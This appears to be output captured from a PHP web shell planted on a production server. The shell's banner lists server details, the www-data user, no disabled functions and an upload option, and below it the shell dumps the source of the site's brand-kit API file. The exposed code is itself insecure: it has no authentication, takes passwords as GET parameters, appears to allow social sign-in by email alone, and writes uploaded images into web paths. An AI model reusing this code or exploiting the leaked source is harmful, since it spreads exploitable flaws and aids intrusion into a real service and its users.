( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/../tmpr/../tmpr/../tmpr/../tmpr/..//tmpr/../TheBrandZ/brandkitz.php
<?php



include('../Connections/videoondemand2.php');
require("../DbSql2.inc.php");
require("../NewsSql2.inc.php");
$dbX = new NewsSQL;

include_once 'database.php';
//a class to handle database operations

include_once 'jsonkit.php';
//$selectedHos = new SelecteHospitals();
//echo "hello";
ini_set('display_errors', 0);
if ($_GET['mode']) {
    error_reporting(1);

    $userid = isset($_GET['userid']);
    $userid = $_GET['userid'];


    $mode = $_GET['mode'];


    switch ($_GET['mode']) {


        case "addBrandDetails":

            $catalogid = $_GET["userid"];
            $nameBrand = $_GET["name"];
            $websiteBrand = $_GET["website"];
            $phoneBrand = $_GET["phone"];
            $typeBrand = $_GET["type"];
            $creatorBrand = $_GET["creator"];
            $countryBrand = $_GET["country"];

            $generated = new generate();


            echo $generated->addBrandDetails($catalogid, $nameBrand, $websiteBrand, $phoneBrand, $typeBrand, $creatorBrand, $countryBrand);
            break;


        case "addBrandColors":

            $catalogid = $_GET["userid"];

            $colorBrand = $_GET["colors"];
            $generated = new generate();


            echo $generated->addBrandColors($catalogid, $colorBrand);
            break;


        case "addBrandColor":

            $catalogid = $_GET["userid"];

            $colorBrand = $_GET["colors"];
            $generated = new generate();


            echo $generated->addBrandColors($catalogid, $colorBrand);
            break;

        case "addEmotion":

            $who = $_GET["userid"];
            $title = $_GET["title"];
            $interest = $_GET["interest"];

            $generated = new generate();
            echo $generated->addEmotion($who, $interest, $title);
            break;


        case "saveColor":

            $who = $_GET["userid"];
            $colorid = $_GET["colorid"];
            $generated = new generate();
            echo $generated->saveColor($who, $colorid);
            break;


        case "addBrandFonts":

            $catalogid = $_GET["userid"];
            $fontBrand = $_GET["font"];
            $id = $_GET["id"];
            $generated = new generate();


            echo $generated->addBrandFonts($catalogid, $fontBrand, $id);
            break;


        case "getCreator":
            $userid = $_GET['userid'];
            $page = $_GET['page'];
            $page = 20;
            $message = "creator";
            $dbX->logs($userid, $mode, $message);

            $generated = new generate();


            echo $generated->getCreator($userid, $page);
            break;

        case "getEmotions":


            $generated = new generate();


            /*	$data ="";
                $generated->write_mysql_log($mode, $userid,$data);	*/

            echo $generated->getEmotions();
            break;


        case "addBrandColor":
            $userid = $_GET['userid'];
            $id = $_GET['id'];

            $generated = new generate();
            $id = $_GET["id"];

            echo $generated->getEmotions($userid, $id);
            break;

        case "addFontPair":
            $userid = $_GET['userid'];
            $id = $_GET['id'];

            $generated = new generate();
            $id = $_GET["id"];

            echo $generated->getEmotions($userid, $id);
            break;
        case "getFontCombinations":
            $userid = $_GET['userid'];
            $page = $_GET['page'];
            $page = 20;
            $generated = new generate();


            /*	$data ="";
                $generated->write_mysql_log($mode, $userid,$data);	*/

            echo $generated->getFontCombinations();
            break;
        case "signInSocial":
            if (isset($_GET['user_email'])) {
                $user_email = $_GET['user_email'];
                $oauth_provider = $_GET['oauth_provider'];
                $generated = new generate();

                /*$data ="$user_email";
                $generated->write_mysql_log($mode, 0,$data);*/

                echo $generated->signInSocial($user_email, $oauth_provider);
            } else {
                echo "Please provide username and secret code";
            }
            break;


        case "registerUserSocial":
            $user_email = $_GET['user_email'];
            $user_name = $_GET['user_name'];
            $name = $_GET['name'];
            $name = str_replace("_", " ", $name);
            $oauth_provider = $_GET['oauth_provider'];
            $generated = new generate();

            /* $data ="$user_email";
           $generated->write_mysql_log($mode, 0,$data);*/

            echo $generated->registerUserSocial($user_name, $name, $user_email, $oauth_provider);
            break;


        case "getThemes":
            $userid = $_GET['userid'];
            $page = $_GET['page'];
            $page = 20;
            $generated = new generate();


            /*	$data ="";
                $generated->write_mysql_log($mode, $userid,$data);	*/

            echo $generated->getThemes();
            break;


        case "getNewSVG":


            $color = $_GET['color'];

            $generated = new generate();


            /*	$data ="";
                $generated->write_mysql_log($mode, $userid,$data);	*/
            $json = $generated->getNewSVG($color);
            // $json =str_replace("https://","http://",$json);
            echo $json;
            break;
        case "getSVGBack":


            $width = $_GET['width'];
            $height = $_GET['height'];
            $colour = $_GET['colour'];
            $special = $_GET['special'];
            $generated = new generate();
            $json = $generated->getSVGBack($special, $width, $height, $colour);

            echo $json;

            break;




        case "getNewBG":

            $id = $_GET['id'];

            $generated = new generate();


            /*	$data ="";
                $generated->write_mysql_log($mode, $userid,$data);	*/

            echo $generated->getNewBG($id);
            break;

        case "getBrandDetails":
            $userid = $_GET['userid'];
            $page = $_GET['page'];
            $page = 20;
            $generated = new generate();


            /*	$data ="";
                $generated->write_mysql_log($mode, $userid,$data);	*/

            echo $generated->getBrandDetails($userid);
            break;


        case "forgotMyPassword":
            $email = $_GET['email'];

            $generated = new generate();


            /*$data ="$email";
            $generated->write_mysql_log($mode, 0,$data);*/


            echo $generated->forgotMyPassword($email);
            break;





        case "searchDesigns":
            $userid = $_GET['userid'];
            $page = $_GET['page'];
            $search = $_GET['keywords'];
            $title = $_GET['title'];

           // $message = "$title $search";
           // $dbX->logs($userid, $mode, $message);


            $page = 20;
            $generated = new generate();

            /*	$data ="$search";
                $generated->write_mysql_log($mode, $userid,$data);*/

            echo $generated->searchDesigns2($search);
            break;
        case "DesignByCategory":
            $userid = $_GET['userid'];
            $page = $_GET['page'];
            $search = $_GET['category'];
            $title = $_GET['title'];

           // $message = "$title $search";
           // $dbX->logs($userid, $mode, $message);


            $page = 20;
            $generated = new generate();

            /*	$data ="$search";
                $generated->write_mysql_log($mode, $userid,$data);*/

            echo $generated->DesignByCategory($search);
            break;



        case "registerUser":
            $user_email = $_GET['user_email'];
            $user_name = $_GET['user_name'];
            $name = $_GET['name'];
            $name = str_replace("_", " ", $name);
            $password = $_GET['password'];

            $message = "$user_email";
            $dbX->logs($userid, $mode, $message);


            $generated = new generate();

            /*
                $data ="$user_name - $user_email";
                $generated->write_mysql_log($mode, 0,$data);*/


            echo $generated->registerUser($user_name, $name, $user_email, $password);
            break;

        case "signIn":
            if (isset($_GET['user_email'])) {
                $user_email = $_GET['user_email'];
                $password = $_GET['password'];

                $message = "$user_email";
                $dbX->logs($userid, $mode, $message);

                $generated = new generate();
                /*
                    $data ="";
                    $generated->write_mysql_log($mode, $userid,$data);	*/


                echo $generated->signIn($user_email, $password);
            } else {
                echo "Please provide username and secret code";
            }
            break;


        case "accountDetails":
            $userid = $_GET['userid'];
            $generated = new generate();

            /*$data ="";
            $generated->write_mysql_log($mode, $userid,$data);	*/



            echo $generated->accountDetails($userid);
            break;


        case "checkOnboarded":
            $userid = $_GET['userid'];
            $generated = new generate();

            /*$data ="";
            $generated->write_mysql_log($mode, $userid,$data);	*/

//            $message = "$userid";
//            $dbX->logs($userid, $mode, $message);


            echo $generated->checkOnboarded($userid);
            break;

        case "checkByEmail":
            $email = $_GET['email'];
            $generated = new generate();


            echo $generated->checkByEmail($email);
            break;

        case "getEffects":
            $generated = new generate();

            echo $generated->getEffects();
            break;
        case "AddUserPlan":
            $generated = new generate();
            $user_id = $_GET['userid'];
            echo $generated->add_user_free_planX($user_id);
            break;

        case "getShared":
            $userid = $_GET['userid'];
            $generated = new generate();
            echo $generated->getShared($userid);
            break;
        case "saveProfilePic":
            $userid = $_GET['userid'];
            $imagestring = $_POST['attachment'];
            $imageName_gen = date("YmdHis");
            $path = "/var/www/html/$imageName_gen.png";
            $actualpath = "$imageName_gen.png";
            $b64 = $_POST['attachment'];

// Obtain the original content (usually binary data)
            $bin = base64_decode($b64);

// Load GD resource from binary data
            $im = imageCreateFromString($bin);


            if (!$im) {


            }

// Specify the location where you want to save the image
            $img_file = "/var/www/html/v/uploads/gthumbs/$imageName_gen.png";

            imagepng($im, $img_file, 0);


            $fn = basename($actualpath);

            $generated = new generate();
            /*$data ="$fn";
            $generated->write_mysql_log($mode, $userid,$data);

                  */

            $message = "$fn";
            $dbX->logs($userid, $mode, $message);


            echo $generated->saveProfileImage($userid, $fn);


            break;
        case "addPhotos":
            $userid = $_GET['userid'];
            /*
            $img = ['jpg', 'jpeg', 'png', 'bmp'];
            $doc = [];
            $whitelistExt = array_merge($img, $doc);*/

            $imagestring = $_POST['attachment'];
            $imageName_gen = date("YmdHis");
            $path = "/var/www/html/v/uploads/gthumbs/$imageName_gen.png";
            $actualpath = "$imageName_gen.png";


            $b64 = $_POST['attachment'];

// Obtain the original content (usually binary data)
            $bin = base64_decode($b64);

// Load GD resource from binary data
            $im = imageCreateFromString($bin);

// Make sure that the GD library was able to load the image
// This is important, because you should not miss corrupted or unsupported images
            if (!$im) {

            }

// Specify the location where you want to save the image
            $img_file = "/var/www/html/v/uploads/gthumbs/$imageName_gen.png";

// Save the GD resource as PNG in the best possible quality (no compression)
// This will strip any metadata or invalid contents (including, the PHP backdoor)
// To block any possible exploits, consider increasing the compression level
            imagepng($im, $img_file, 0);


            $fn = basename($actualpath);

            $generated = new generate();

            $message = "$fn";
            $dbX->logs($userid, $mode, $message);


            echo $generated->saveImage($userid, $fn);


            break;


        case "addPublished":
            $data = file_get_contents('php://input');
            $params = json_decode("[" . $data . "]");
            $attachment = $params[0]->attachment;
            $attachment = str_replace("data:image/png;base64,", "", $attachment);
//print_r($data);


            $userid = $_GET['userid'];
            /*
            $img = ['jpg', 'jpeg', 'png', 'bmp'];
            $doc = [];
            $whitelistExt = array_merge($img, $doc);*/


            $imageName_gen = date("YmdHis");
            $path = "/var/www/html/v/uploads/raw/$imageName_gen.png";
            $actualpath = "$imageName_gen.png";


            $b64 = $attachment;

// Obtain the original content (usually binary data)
            $bin = base64_decode($b64);

// Load GD resource from binary data
            $im = imageCreateFromString($bin);

// Make sure that the GD library was able to load the image
// This is important, because you should not miss corrupted or unsupported images
            if (!$im) {

            }

// Specify the location where you want to save the image
            $img_file = "/var/www/html/v/uploads/raw/$imageName_gen.png";

// Save the GD resource as PNG in the best possible quality (no compression)
// This will strip any metadata or invalid contents (including, the PHP backdoor)
// To block any possible exploits, consider increasing the compression level
            imagepng($im, $img_file, 0);


            $fn = basename($actualpath);

            $generated = new generate();

            $message = "$fn";
            $dbX->logs($userid, $mode, $message);


            echo $generated->savePublished($userid, $fn);


            break;
        case "addPublisheeditor":

            $userid = $_GET['userid'];
            $themeid = $_GET['themeid'];
            $type = $_GET['type'];


            // Receive the image data from the request
            $imageData = $_POST['imgData'];


            $encodedData = explode(',', $imageData)[1];
            $bin = base64_decode($encodedData);

// Obtain the original content (usually binary data)


// Load GD resource from binary data
            $im = imageCreateFromString($bin);

// Make sure that the GD library was able to load the image
// This is important, because you should not miss corrupted or unsupported images
            if (!$im) {
                exit("edwdw");
            }


            $imageName_gen = date("YmdHis");

            $actualpath = "$imageName_gen.png";
            if ($type == "mobile") {
                $folder = "gallery";
            } else {
                $folder = "raw";
            }
            $img_file = "/var/www/html/v/uploads/$folder/$imageName_gen.png";
            imagepng($im, $img_file, 0);
            $img_filed = "https://www.thebrand.ai/v/uploads/$folder/" . basename($img_file);


            $fn = "$imageName_gen.png";

            $generated = new generate();

            echo $generated->savePublishededitor($userid, $fn, $themeid, $type);


            break;

        case "saveThemePoster":

            $userid = $_GET['userid'];
            $themeid = $_GET['themeid'];
            $type = $_GET['type'];


            // Receive the image data from the request
            $imageData = $_POST['imgData'];


            $generated = new generate();

            echo $generated->saveThemePoster($imageData, $themeid);


            break;

        /* case "saveImage":
            $userid= $_GET['userid'];
            $imagestring= $_GET['imagestring'];
            $generated = new generate();
            echo $generated->saveImage($userid,$imagestring);
            break;
            */
        /* case "saveProfilePic":
            $userid= $_GET['userid'];
            $imagestring= $_GET['imagestring'];

            $generated = new generate();
            echo $generated->saveProfilePic($userid,$imagestring);
            break;
        */
        case "getProfilePicture":
            $userid = $_GET['userid'];
            $generated = new generate();
            echo $generated->getProfilePicture($userid);
            break;

        case "getBackgrounds":
            $userid = $_GET['userid'];
            $generated = new generate();
            echo $generated->getBackgrounds($userid);
            break;
        case "getDesignDetails":
            $userid = $_GET['userid'];
            $designID = $_GET['designID'];

            $message = "$designID";
            $dbX->logs($userid, $mode, $message);


            $generated = new generate();
            echo $generated->getDesignDetails($designID, $userid);
            break;

        case "getDesignForm":
            $userid = $_GET['userid'];
            $designID = $_GET['designID'];

            $message = "$designID";
            $dbX->logs($userid, $mode, $message);


            $generated = new generate();
            echo $generated->getDesignForm($designID, $userid);
            break;


        case "getDesignNewInterface":

            $themeid = $_GET['themeid'];

            $message = "$designID";
            //$dbX->logs($userid,$mode,$message);


            $generated = new generate();
            echo $generated->getDesignNewInterface($themeid);
            break;


        case "getForm":
            $userid = $_GET['userid'];
            $designID = $_GET['designID'];

            $message = "$designID";
            $dbX->logs($userid, $mode, $message);

            $generated = new generate();
            echo $generated->getForm($designID, $userid);
            break;

        case "getFormX":
            $userid = $_GET['userid'];
            $designID = $_GET['designID'];
            $message = "$designID";
            $dbX->logs($userid, $mode, $message);

            $generated = new generate();
            echo $generated->getFormX($designID, $userid);
            break;

        case "getMyPhotos":
            $userid = $_GET['userid'];
            $generated = new generate();

            /*	$data ="";
                $generated->write_mysql_log($mode, $userid,$data);	*/

            echo $generated->getMyPhotos($userid);
            break;

        case "getMyDesigns":
            $userid = $_GET['userid'];
            $generated = new generate();

            /*	$data ="";
                $generated->write_mysql_log($mode, $userid,$data);	*/

            echo $generated->getMyDesigns($userid);
            break;

        case "getFilters":
            $generated = new generate();
            $data = "";
            /*  $userid= $_GET['userid'];
        $generated->write_mysql_log($mode, $userid,$data);	 */


            echo $generated->getFilters();
            break;

        case "getMyPublished":
            $userid = $_GET['userid'];
            $generated = new generate();
            /*
                $data ="";
                $generated->write_mysql_log($mode, $userid,$data);	  */

            echo $generated->getMyPublished($userid);
            break;
        case "addFriend":
            $userid1 = $_GET['userid1'];
            $userid2 = $_GET['userid2'];
            $action = $_GET['action'];
            $generated = new generate();
            echo $generated->addFriend($userid1, $userid2);
            break;
        case "updateUser":
            $userid = $_GET['userid'];
            $catalogname = $_GET['name'];
            $user_email = $_GET['user_email'];
            $description = $_GET['description'];
            $website = $_GET['website'];
            $gender = $_GET['gender'];
            $birthday = $_GET['birthday'];
            $tel = $_GET['tel'];
            $message = "$catalogname";
            $dbX->logs($userid, $mode, $message);

            $generated = new generate();


            /*$data ="";
            $generated->write_mysql_log($mode, $userid,$data);	*/

            echo $generated->updateUser($userid, $user_email, $catalogname, $description, $website, $gender, $birthday, $tel);
            break;


        case "updateOnboarded":
            $userid = $_GET['userid'];

            $message = "branddetails";
            $dbX->logs($userid, $mode, $message);

            $generated = new generate();


            /*$data ="";
            $generated->write_mysql_log($mode, $userid,$data);	*/

            echo $generated->updateOnboarded($userid);
            break;


        case "removeFriend":
            $userid1 = $_GET['userid1'];
            $userid2 = $_GET['userid2'];
            $action = $_GET['action'];
            $generated = new generate();
            echo $generated->removeFriend($userid1, $userid2);
            break;

        case "getPublicThemes":
            $userid = $_GET['userid'];
            $generated = new generate();

            /*$data ="$themeid";
            $generated->write_mysql_log($mode, $userid,$data);*/

            echo $generated->getPublicThemes($userid);
            break;

        case "addDesign":
            $userid = $_GET['userid'];
            $themeid = $_GET['themeid'];
            $pic = $_GET['pic'];
            $who = $_GET['who'];
            $message = "$themeid";
            $dbX->logs($userid, $mode, $message);

            $generated = new generate();


            /*$data ="$themeid $who $userid";
            $generated->write_mysql_log($mode, $userid,$data);	*/

            echo $generated->addDesign($userid, $themeid, $pic, $who);
            break;



        case "delMyDesign":
            $userid = $_GET['userid'];
            $themeid = $_GET['themeid'];

            $message = "$themeid";
            $dbX->logs($userid, $mode, $message);


            $generated = new generate();

            /*$data ="";
            $generated->write_mysql_log($mode, $userid,$data);	*/

            echo $generated->delMyDesign($userid, $themeid);
            break;

        case "delMyPhoto":
            $userid = $_GET['userid'];
            $photoid = $_GET['photoid'];

            $generated = new generate();
            /*
                $data ="";
                $generated->write_mysql_log($mode, $userid,$data);*/


            echo $generated->delMyPhoto($userid, $photoid);
            break;

        case "delMyPublished":
            $userid = $_GET['userid'];
            $photoid = $_GET['photoid'];

            $generated = new generate();

            /*	$data ="";
                $generated->write_mysql_log($mode, $userid,$data);	*/


            echo $generated->delMyPublished($userid, $photoid);
            break;


        default:
            echo 'UNKNOWN REQUEST';
    }


} else {
    echo 'ERROR 100: Invalid request. Please provide service ID';
}

?>